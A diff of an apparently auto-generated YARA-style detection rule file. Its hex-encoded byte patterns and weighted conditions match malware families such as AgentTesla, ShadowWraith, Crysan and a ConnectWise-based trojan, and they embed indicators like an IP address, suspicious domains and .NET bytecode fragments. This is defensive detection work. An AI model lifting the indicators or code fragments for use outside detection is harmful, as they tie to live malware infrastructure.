{04 0d 73 90 01 04 0a 08 09 16 20 00 10 00 00 6f 90 01 04 0b 07 16 fe 02 13 05 11 05 2c 09 06 09 16 07 6f 90 01 04 07 16 fe 02 13 06 11 06 2d d5 06 6f 90 01 04 13 04 de 11 06 2c 06 06 90 00 0a 00 31 02 14 0b 19 8d 57 00 00 01 25 16 28 90 01 04 a2 0b 07 17 28 90 01 04 a2 07 18 20 90 01 04 28 90 01 04 a2 02 7b 90 01 04 07 28 90 01 04 26 06 2a 90 00 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 80 01 47 65 } //-29440 + $a_74_2 = {6f 6e 49 6e 69 74 01 00 13 80 01 67 65 74 5f 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 11 80 01 67 65 74 5f 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 16 80 01 52 65 73 6f 75 72 63 65 5f 4d 65 74 65 72 2e 43 68 65 63 6b 65 72 01 00 05 80 01 53 70 6c 69 74 00 00 78 ec 00 00 15 00 15 00 } //28277 + $a_23_3 = {45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 6e 6e 65 63 74 77 69 73 65 2e 47 50 21 4d 54 } //6 EL:Trojan:Win32/Connectwise.GP!MT + $a_00_4 = {47 81 01 62 75 69 6c 64 73 5c } //66 + $a_63_5 = {63 6f 6e 74 72 6f 6c 5c 50 72 6f 64 75 63 74 5c 43 6c 69 63 6b 4f 6e 63 65 52 75 6e 6e 65 72 5c 52 65 6c 65 61 73 65 5c 43 6c 69 63 6b 4f 6e 63 65 52 75 6e 6e 65 72 2e 70 64 62 0a 00 0d 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 01 00 13 81 01 73 63 2e 73 65 70 69 64 61 72 } //25443 + $a_74_6 = {6d 2e 69 72 01 00 14 81 01 74 74 70 73 3a 2f 2f 31 30 37 2e 31 35 30 2e 30 2e 31 38 31 01 00 1a 81 01 73 6f 75 74 68 73 69 64 65 62 6c 61 63 6b 61 6e 63 65 73 74 72 79 2e 63 6f 6d 01 00 0b 81 01 6a 6f 75 6d 69 7a 6e 69 2e 64 65 00 00 78 ec 00 00 17 00 17 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 } //31091 condition: - ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-24057+(#a_74_2 & 1)*28277+(#a_23_3 & 1)*5+(#a_20_5 & 1)*18176+(#a_01_6 & 1)*-29440) >=16 + ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-24057+(#a_74_2 & 1)*28277+(#a_23_3 & 1)*6+(#a_00_4 & 1)*66+(#a_63_5 & 1)*25443+(#a_74_6 & 1)*31091) >=16 } -rule _InfrastructureShared_15451{ +rule _InfrastructureShared_16464{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 06 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 6e 6e 65 63 74 77 69 73 65 2e 47 50 21 4d 54 42 00 0a 00 47 81 01 62 75 69 6c 64 73 5c 63 63 5c 63 77 63 6f 6e 74 72 6f 6c 5c 50 72 6f 64 75 63 74 5c 43 6c 69 63 } //21539 + $a_63_1 = {52 75 6e 6e 65 72 5c 52 65 6c 65 61 73 65 5c 43 6c 69 63 6b 4f 6e 63 65 52 75 6e 6e 65 72 2e 70 64 62 0a 00 0d 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 01 00 13 81 01 73 63 2e 73 65 70 69 64 61 72 73 79 73 74 65 6d 2e 69 72 01 00 14 81 01 74 74 70 73 3a 2f 2f 31 30 37 2e 31 35 30 2e 30 2e 31 38 31 01 00 1a 81 01 73 6f 75 74 } //20331 + $a_64_2 = {62 6c 61 63 6b 61 6e 63 65 73 74 72 79 2e 63 6f 6d 01 00 0b 81 01 6a 6f 75 6d 69 7a 6e 69 2e 64 65 00 00 78 ec 00 00 17 00 17 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 48 4c 21 4d 54 42 00 0a 00 47 02 20 00 10 00 00 8d 90 01 04 0d 73 90 01 04 0a 08 09 } //29544 + $a_90_4 = {04 0b 07 16 fe 02 13 05 11 05 2c 09 06 09 16 07 6f 90 01 04 07 16 fe 02 13 06 11 06 2d d5 06 6f 90 01 04 13 04 de 11 06 2c 06 06 90 00 0a 00 31 02 14 0b 19 8d 57 00 00 01 25 16 28 90 01 04 a2 0b 07 17 28 90 01 04 a2 07 18 20 90 01 04 28 90 01 04 a2 02 7b 90 01 04 07 28 90 01 04 26 06 2a 90 00 01 00 10 80 01 46 72 6f 6d 42 61 73 65 } //0 + $a_74_5 = {69 6e 67 01 00 07 80 01 47 65 74 54 79 70 65 01 00 17 80 01 44 65 62 75 67 67 65 72 48 69 64 64 65 6e 41 74 74 72 69 62 75 74 65 00 00 78 ec 00 00 1f 00 1f 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 } //13366 + condition: + ((#a_4c_0 & 1)*21539+(#a_63_1 & 1)*20331+(#a_64_2 & 1)*29544+(#a_90_4 & 1)*0+(#a_74_5 & 1)*13366) >=21 + +} +rule _InfrastructureShared_16465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 05 00 21 " @@ -179420,7 +191428,7 @@ rule _InfrastructureShared_15451{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*5639+(#a_2b_2 & 1)*19758+(#a_27_3 & 1)*27943+(#a_64_4 & 1)*28524) >=23 } -rule _InfrastructureShared_15452{ +rule _InfrastructureShared_16466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 05 00 21 " @@ -179432,7 +191440,7 @@ rule _InfrastructureShared_15452{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*9277+(#a_2f_3 & 1)*3584) >=31 } -rule _InfrastructureShared_15453{ +rule _InfrastructureShared_16467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,5d 00 57 00 07 00 21 " @@ -179447,7 +191455,7 @@ rule _InfrastructureShared_15453{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*24941+(#a_64_3 & 1)*26881+(#a_90_4 & 1)*5633+(#a_90_5 & 1)*2562+(#a_2b_6 & 1)*400) >=87 } -rule _InfrastructureShared_15454{ +rule _InfrastructureShared_16468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -179457,7 +191465,7 @@ rule _InfrastructureShared_15454{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_15455{ +rule _InfrastructureShared_16469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -179467,7 +191475,7 @@ rule _InfrastructureShared_15455{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_15456{ +rule _InfrastructureShared_16470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -179477,7 +191485,7 @@ rule _InfrastructureShared_15456{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_15457{ +rule _InfrastructureShared_16471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -179487,7 +191495,7 @@ rule _InfrastructureShared_15457{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_15458{ +rule _InfrastructureShared_16472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -179498,7 +191506,7 @@ rule _InfrastructureShared_15458{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*5121) >=1 } -rule _InfrastructureShared_15459{ +rule _InfrastructureShared_16473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -179510,7 +191518,7 @@ rule _InfrastructureShared_15459{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25648+(#a_00_3 & 1)*1) >=1 } -rule _InfrastructureShared_15460{ +rule _InfrastructureShared_16474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -179522,7 +191530,7 @@ rule _InfrastructureShared_15460{ ((#a_54_0 & 1)*18467+(#a_1d_1 & 1)*-12287+(#a_00_3 & 1)*1) >=1 } -rule _InfrastructureShared_15461{ +rule _InfrastructureShared_16475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -179536,7 +191544,7 @@ rule _InfrastructureShared_15461{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*29813+(#a_74_2 & 1)*25955+(#a_01_3 & 1)*28420+(#a_00_5 & 1)*108) >=1 } -rule _InfrastructureShared_15462{ +rule _InfrastructureShared_16476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -179548,7 +191556,7 @@ rule _InfrastructureShared_15462{ ((#a_4c_0 & 1)*21539+(#a_16_1 & 1)*5644+(#a_04_2 & 1)*-28632) >=2 } -rule _InfrastructureShared_15463{ +rule _InfrastructureShared_16477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -179561,7 +191569,7 @@ rule _InfrastructureShared_15463{ ((#a_46_0 & 1)*16675+(#a_2a_1 & 1)*10794+(#a_2a_2 & 1)*10794+(#a_20_3 & 1)*25701) >=2 } -rule _InfrastructureShared_15464{ +rule _InfrastructureShared_16478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -179574,7 +191582,7 @@ rule _InfrastructureShared_15464{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*114+(#a_5c_2 & 1)*656+(#a_69_3 & 1)*22387) >=2 } -rule _InfrastructureShared_15465{ +rule _InfrastructureShared_16479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -179586,7 +191594,7 @@ rule _InfrastructureShared_15465{ ((#a_46_0 & 1)*21283+(#a_8b_2 & 1)*10436+(#a_04_3 & 1)*-28487) >=2 } -rule _InfrastructureShared_15466{ +rule _InfrastructureShared_16480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -179596,7 +191604,7 @@ rule _InfrastructureShared_15466{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_15467{ +rule _InfrastructureShared_16481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -179608,7 +191616,7 @@ rule _InfrastructureShared_15467{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*2309+(#a_62_2 & 1)*27649) >=3 } -rule _InfrastructureShared_15468{ +rule _InfrastructureShared_16482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -179620,7 +191628,7 @@ rule _InfrastructureShared_15468{ ((#a_4e_0 & 1)*20259+(#a_00_1 & 1)*109+(#a_00_3 & 1)*108) >=4 } -rule _InfrastructureShared_15469{ +rule _InfrastructureShared_16483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -179633,7 +191641,7 @@ rule _InfrastructureShared_15469{ ((#a_4c_0 & 1)*21539+(#a_e8_1 & 1)*400+(#a_03_2 & 1)*-31729+(#a_65_3 & 1)*26214) >=4 } -rule _InfrastructureShared_15470{ +rule _InfrastructureShared_16484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -179648,7 +191656,7 @@ rule _InfrastructureShared_15470{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*8250+(#a_69_2 & 1)*8289+(#a_61_3 & 1)*20783+(#a_69_4 & 1)*25632+(#a_65_5 & 1)*16687) >=4 } -rule _InfrastructureShared_15471{ +rule _InfrastructureShared_16485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -179661,7 +191669,7 @@ rule _InfrastructureShared_15471{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*29441+(#a_61_2 & 1)*28532+(#a_52_5 & 1)*21320) >=4 } -rule _InfrastructureShared_15472{ +rule _InfrastructureShared_16486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -179675,7 +191683,7 @@ rule _InfrastructureShared_15472{ ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*1041+(#a_9c_2 & 1)*23808+(#a_74_3 & 1)*25974+(#a_74_4 & 1)*28265) >=5 } -rule _InfrastructureShared_15473{ +rule _InfrastructureShared_16487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -179685,12 +191693,12 @@ rule _InfrastructureShared_15473{ $a_65_2 = {65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 ed 00 00 06 00 06 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d } //29811 $a_2f_3 = {67 65 6e 74 54 65 73 6c 61 2e 52 56 45 54 30 31 21 4d 54 42 00 05 00 7c 03 57 9f a2 2b 09 1f 00 00 00 fa 25 33 00 16 00 00 01 00 00 00 90 01 01 00 00 00 90 01 01 00 00 00 c5 00 00 00 90 01 01 01 00 00 08 00 00 00 03 00 00 00 a5 } //18771 $a_00_5 = {00 00 03 00 00 00 90 01 01 00 00 00 06 00 00 00 3d 00 00 00 52 00 00 00 06 00 00 00 2c 00 00 00 03 00 00 00 01 00 00 00 07 00 00 00 04 00 00 00 90 01 01 00 00 00 05 00 00 00 12 00 } //0 - $a_00_6 = {01 00 10 81 01 72 65 73 6f 75 72 63 65 73 2f 77 32 67 6a 73 77 01 00 22 81 01 66 38 32 61 39 36 35 64 38 64 36 65 66 34 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 ed 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 41 44 38 39 21 4d 54 42 00 01 00 2a 81 01 43 68 61 74 5f 63 6c 69 65 6e 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f } //0 + $a_00_6 = {01 00 10 81 01 72 65 73 6f 75 72 63 65 73 2f 77 32 67 6a 73 77 01 00 22 81 01 66 38 32 61 39 36 35 64 38 64 36 65 66 34 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 ed 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 53 68 61 64 6f 77 57 72 61 69 74 68 2e 42 21 64 68 61 00 01 00 1e 01 7b 00 30 00 7d 00 3b 00 7b 00 31 00 7d 00 3b 00 7b 00 32 00 7d 00 3b 00 7b 00 33 00 7d } //0 condition: ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28271+(#a_65_2 & 1)*29811+(#a_2f_3 & 1)*18771+(#a_00_5 & 1)*0+(#a_00_6 & 1)*0) >=5 } -rule _InfrastructureShared_15474{ +rule _InfrastructureShared_16488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -179701,7 +191709,20 @@ rule _InfrastructureShared_15474{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=6 } -rule _InfrastructureShared_15475{ +rule _InfrastructureShared_16489{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 53 68 61 64 6f 77 57 72 61 69 74 68 2e 42 21 64 68 61 00 01 00 1e 01 7b 00 30 00 7d 00 3b 00 7b 00 31 00 7d 00 3b 00 7b 00 32 00 7d 00 3b 00 7b 00 33 00 7d 00 01 00 10 01 65 00 78 00 65 } //16675 + $a_00_2 = {72 00 01 00 10 01 63 00 6f 00 6e 00 66 00 2e 00 62 00 61 00 6b 00 01 00 08 01 61 73 73 61 6d 62 6c 79 01 00 30 01 43 00 6f 00 6d 00 70 00 69 00 6c 00 69 00 6e 00 67 00 20 00 45 00 78 00 63 00 65 00 70 00 74 00 69 00 6f 00 6e 00 3a 00 20 00 7b 00 30 00 7d 00 01 00 30 01 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6e 00 67 00 20 00 45 } //116 + $a_00_4 = {74 00 69 00 6f 00 6e 00 3a 00 20 00 7b 00 30 00 7d 00 00 00 78 ed 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 41 44 38 39 21 4d 54 42 00 01 00 2a 81 01 43 68 61 74 5f 63 6c 69 65 6e 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f } //101 + $a_65_5 = {01 00 0c 81 01 47 65 74 48 49 4e 53 54 41 4e 43 45 01 00 25 81 01 24 31 64 31 34 39 37 39 30 2d 34 66 66 63 2d 34 33 32 63 2d 61 39 65 33 2d 39 30 30 36 61 39 30 37 61 35 63 36 01 00 12 81 01 67 65 74 5f 49 6e 76 6f 6b 65 52 65 71 75 69 72 65 64 01 00 26 81 01 43 68 61 74 5f 63 6c 69 65 6e 74 2e } //29301 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_00_4 & 1)*101+(#a_65_5 & 1)*29301) >=6 + +} +rule _InfrastructureShared_16490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -179716,7 +191737,7 @@ rule _InfrastructureShared_15475{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*-32500+(#a_53_2 & 1)*18760+(#a_69_3 & 1)*25439+(#a_5f_4 & 1)*29793+(#a_6e_5 & 1)*28504) >=6 } -rule _InfrastructureShared_15476{ +rule _InfrastructureShared_16491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -179731,7 +191752,7 @@ rule _InfrastructureShared_15476{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*6144+(#a_79_2 & 1)*25701+(#a_30_3 & 1)*12364+(#a_6c_4 & 1)*24941+(#a_5f_5 & 1)*25959) >=6 } -rule _InfrastructureShared_15477{ +rule _InfrastructureShared_16492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -179746,7 +191767,7 @@ rule _InfrastructureShared_15477{ ((#a_54_0 & 1)*18467+(#a_2c_1 & 1)*10289+(#a_01_2 & 1)*28281+(#a_65_3 & 1)*29806+(#a_75_4 & 1)*29541+(#a_63_5 & 1)*17516) >=6 } -rule _InfrastructureShared_15478{ +rule _InfrastructureShared_16493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -179755,29 +191776,40 @@ rule _InfrastructureShared_15478{ $a_72_1 = {43 6f 6e 66 69 67 42 6f 78 2e 72 65 73 6f 75 72 63 65 73 01 00 1e 01 55 6d 6c 44 69 61 67 72 61 6d 2e 55 6d 6c 50 61 72 73 65 72 2e 72 65 73 6f 75 72 63 65 73 01 00 29 01 55 6d 6c 44 69 61 67 72 61 6d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 12 } //26465 $a_72_2 = {6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 01 00 0b 01 00 55 72 6c 44 65 63 6f 64 65 00 00 00 78 ed 00 00 06 00 06 00 07 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 46 69 6c 65 5a 69 } //1 $a_5f_3 = {75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 2e 52 47 31 31 00 01 00 20 80 01 46 69 6c 65 5a 69 6c 6c 61 5f 33 2e 36 33 2e 32 5f 77 69 6e 33 32 2d 73 65 74 75 70 2e 65 78 65 01 00 1e 80 01 66 69 6c 65 7a 69 6c 6c 61 2d 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 77 6e 6c 6f 61 64 01 00 09 80 01 } //27756 - $a_20_4 = {6f 73 73 65 01 00 14 80 01 46 69 6c 65 5a 69 6c 6c 61 20 46 54 50 20 43 6c 69 65 6e 74 01 00 17 80 01 6f 66 66 65 72 2d 65 6e 61 62 6c 65 64 20 69 6e 73 74 61 6c 6c 65 72 01 00 0d 80 01 50 6c 61 79 61 4e 65 78 74 20 4c 4c 43 01 00 0d 80 01 70 6c 61 79 61 6e 65 78 74 2e 63 6f 6d 00 00 78 ed 00 00 07 00 07 00 07 00 21 23 48 53 } //26964 - $a_54_5 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 39 30 33 32 33 21 4d 54 42 00 01 00 1e 01 00 03 2a 00 00 03 30 00 00 03 23 00 00 05 25 00 30 00 00 0b } //21076 + $a_20_4 = {6f 73 73 65 01 00 14 80 01 46 69 6c 65 5a 69 6c 6c 61 20 46 54 50 20 43 6c 69 65 6e 74 01 00 17 80 01 6f 66 66 65 72 2d 65 6e 61 62 6c 65 64 20 69 6e 73 74 61 6c 6c 65 72 01 00 0d 80 01 50 6c 61 79 61 4e 65 78 74 20 4c 4c 43 01 00 0d 80 01 70 6c 61 79 61 6e 65 78 74 2e 63 6f 6d 00 00 78 ed 00 00 07 00 07 00 03 00 21 23 54 45 } //26964 + $a_61_5 = {6b 64 6f 6f 72 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 41 5a 58 41 21 4d 54 42 00 05 00 96 03 0a 13 04 11 04 20 00 01 00 00 6f 90 01 01 00 00 0a 11 04 7e 90 01 01 00 00 04 28 90 01 01 00 00 0a 6f 90 } //14924 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26465+(#a_72_2 & 1)*1+(#a_5f_3 & 1)*27756+(#a_20_4 & 1)*26964+(#a_54_5 & 1)*21076) >=6 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26465+(#a_72_2 & 1)*1+(#a_5f_3 & 1)*27756+(#a_20_4 & 1)*26964+(#a_61_5 & 1)*14924) >=6 } -rule _InfrastructureShared_15479{ +rule _InfrastructureShared_16494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " strings : $a_46_0 = {50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 46 69 6c 65 5a 69 6c 6c 61 5f 42 75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 2e 52 47 31 31 00 01 00 20 80 01 46 69 6c 65 5a 69 6c 6c 61 5f 33 2e 36 33 2e 32 5f 77 69 6e 33 32 2d } //16675 $a_75_1 = {2e 65 78 65 01 00 1e 80 01 66 69 6c 65 7a 69 6c 6c 61 2d 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 77 6e 6c 6f 61 64 01 00 09 80 01 54 69 6d 20 4b 6f 73 73 65 01 00 14 80 01 46 69 6c 65 5a 69 6c 6c 61 20 46 54 50 20 43 6c 69 65 6e 74 01 00 17 80 01 6f 66 66 65 72 2d 65 6e 61 62 6c 65 64 20 69 6e 73 74 61 6c 6c 65 72 01 00 0d 80 01 50 6c 61 79 61 } //25971 - $a_74_2 = {4c 4c 43 01 00 0d 80 01 70 6c 61 79 61 6e 65 78 74 2e 63 6f 6d 00 00 78 ed 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 39 30 33 32 33 21 4d 54 42 00 01 00 1e 01 00 03 2a 00 00 03 30 00 00 03 23 00 00 05 25 00 30 00 00 0b 4c 00 6f 00 77 00 65 00 72 00 01 00 24 81 01 32 32 37 37 61 } //25934 - $a_2d_3 = {65 38 34 2d 34 33 34 65 2d 39 65 66 38 2d 30 63 30 35 61 61 32 64 36 33 37 35 01 00 1a 81 01 41 45 46 2e 46 6f 72 6d 5f 41 75 74 6f 77 61 68 2e 72 65 73 6f 75 } //13623 - $a_73_4 = {00 19 81 01 41 45 46 2e 46 6f 72 6d 5f 43 68 6f 72 75 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0b 81 01 46 6f 72 6d 5f 50 68 61 73 6f 72 01 00 0c 81 01 46 6f 72 6d 5f 53 75 73 74 61 69 6e 01 00 0c 81 01 46 6f 72 6d 5f 56 69 62 72 61 74 6f 00 00 78 ed 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e } //25458 - $a_47_5 = {6c 6f 61 64 65 72 2e 4b 47 46 51 31 32 33 21 4d 54 42 00 01 00 16 81 01 53 6f 66 74 77 61 72 65 5c 4e 6f 6e 72 65 67 61 72 64 61 6e 63 65 01 } //12851 - $a_01_6 = {5c 53 61 6c 76 61 64 6f 72 69 61 6e 73 6b 65 5c 73 69 67 68 74 73 6d 61 6e 5c 66 6a 65 6e 64 73 6b 01 00 18 81 01 5c 74 65 6e 64 65 72 6c 6f 69 6e 5c 42 6f 77 6c 65 73 34 34 2e 76 72 69 01 00 19 81 01 77 79 6b 65 5c 74 75 72 62 6f 67 65 6e 65 72 61 74 6f 72 65 72 2e 63 75 6c 01 00 1a 81 01 5c 75 6e 72 65 67 65 6e 65 72 61 63 79 5c 4b 61 72 65 6e 31 33 35 2e 62 72 73 01 00 0e 81 01 68 } //8448 + $a_74_2 = {4c 4c 43 01 00 0d 80 01 70 6c 61 79 61 6e 65 78 74 2e 63 6f 6d 00 00 78 ed 00 00 07 00 07 00 03 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 41 5a 58 41 21 4d 54 42 00 05 00 96 03 0a 13 04 11 04 20 00 01 00 00 6f 90 01 01 00 00 0a 11 04 7e 90 01 01 00 00 04 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 11 04 7e 90 01 01 00 } //25934 + $a_90_3 = {01 00 00 0a 6f 90 01 01 00 00 0a 11 04 11 04 6f 90 01 01 00 00 0a 11 04 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 13 05 } //1024 + $a_01_4 = {00 } //-28557 + $a_06_5 = {06 73 90 01 01 00 00 0a 13 07 11 07 11 05 16 73 90 01 01 } //2560 + $a_13_6 = {11 08 11 06 6f 90 01 01 00 00 } //0 condition: - ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*25971+(#a_74_2 & 1)*25934+(#a_2d_3 & 1)*13623+(#a_73_4 & 1)*25458+(#a_47_5 & 1)*12851+(#a_01_6 & 1)*8448) >=6 + ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*25971+(#a_74_2 & 1)*25934+(#a_90_3 & 1)*1024+(#a_01_4 & 1)*-28557+(#a_06_5 & 1)*2560+(#a_13_6 & 1)*0) >=6 } -rule _InfrastructureShared_15480{ +rule _InfrastructureShared_16495{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " + + strings : + $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 41 5a 58 41 21 4d 54 42 00 05 00 96 03 0a 13 04 11 04 20 00 01 00 00 6f 90 01 01 00 00 0a 11 04 7e 90 01 01 00 00 04 28 90 01 01 00 00 0a 6f 90 } //21539 + $a_7e_2 = {01 01 00 00 } //4362 + condition: + ((#a_4c_0 & 1)*21539+(#a_7e_2 & 1)*4362) >=7 + +} +rule _InfrastructureShared_16496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -179785,15 +191817,31 @@ rule _InfrastructureShared_15480{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 39 30 33 32 33 21 4d 54 42 00 01 00 1e 01 00 03 2a 00 00 03 30 00 00 03 23 00 00 05 25 00 30 00 00 0b 4c 00 6f 00 77 00 65 00 72 00 01 00 24 81 01 32 32 37 37 61 37 35 } //18467 $a_65_1 = {34 2d 34 33 34 65 2d 39 65 66 38 2d 30 63 30 35 61 61 32 64 36 33 37 35 01 00 1a 81 01 41 45 46 2e 46 6f 72 6d 5f 41 75 74 6f 77 61 68 2e 72 65 73 6f 75 72 63 65 73 01 00 19 81 01 41 45 46 2e 46 6f 72 6d 5f 43 68 6f 72 75 73 2e 